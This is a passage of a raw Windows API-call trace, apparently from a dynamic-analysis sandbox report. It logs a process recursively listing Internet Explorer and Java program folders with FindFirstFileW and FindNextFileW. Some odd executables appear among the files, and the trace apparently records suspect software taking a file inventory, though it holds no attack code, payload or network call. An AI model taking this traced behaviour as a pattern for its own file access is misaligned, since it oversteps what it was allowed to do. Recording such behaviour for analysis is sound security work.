ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0249.624] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0249.663] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0249.663] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0249.663] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0249.667] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0249.687] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0249.687] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0249.687] GetProcessHeap () returned 0x550000 [0249.687] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0249.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0249.763] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.763] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0249.763] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0249.763] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0249.763] GetProcessHeap () returned 0x550000 [0249.763] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0249.763] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0249.763] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0249.763] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0249.764] GetProcessHeap () returned 0x550000 [0249.764] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0249.764] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdbec5a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbec5a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0249.765] GetProcessHeap () returned 0x550000 [0249.765] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0249.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdbec5a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbec5a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0249.772] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdbec5a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbec5a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.772] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67589ad0, ftCreationTime.dwHighDateTime=0x1d5d8e8, ftLastAccessTime.dwLowDateTime=0x16eb7cb0, ftLastAccessTime.dwHighDateTime=0x1d5b69d, ftLastWriteTime.dwLowDateTime=0x16eb7cb0, ftLastWriteTime.dwHighDateTime=0x1d5b69d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1 [0249.772] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x148a7950, ftCreationTime.dwHighDateTime=0x1d571e0, ftLastAccessTime.dwLowDateTime=0xb96129c0, ftLastAccessTime.dwHighDateTime=0x1d5e0b6, ftLastWriteTime.dwLowDateTime=0xb96129c0, ftLastWriteTime.dwHighDateTime=0x1d5e0b6, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="GMAILN~1.EXE")) returned 1 [0249.772] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0249.772] GetProcessHeap () returned 0x550000 [0249.772] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0249.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0249.801] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.801] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0249.801] GetProcessHeap () returned 0x550000 [0249.801] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0249.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0249.975] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.064] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0250.064] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="axbridge.dll", cAlternateFileName="")) returned 1 [0250.064] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0250.064] GetProcessHeap () returned 0x550000 [0250.064] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0250.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0250.171] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.171] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0x76eb12e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76ed7440, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0250.171] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3665a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0250.171] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0250.171] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0250.171] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0250.172] GetProcessHeap () returned 0x550000 [0250.172] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0250.172] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0250.172] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora-sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0250.172] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0250.172] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0250.172] GetProcessHeap () returned 0x550000 [0250.172] RtlAllocateHeap (HeapHandle=0x550000, 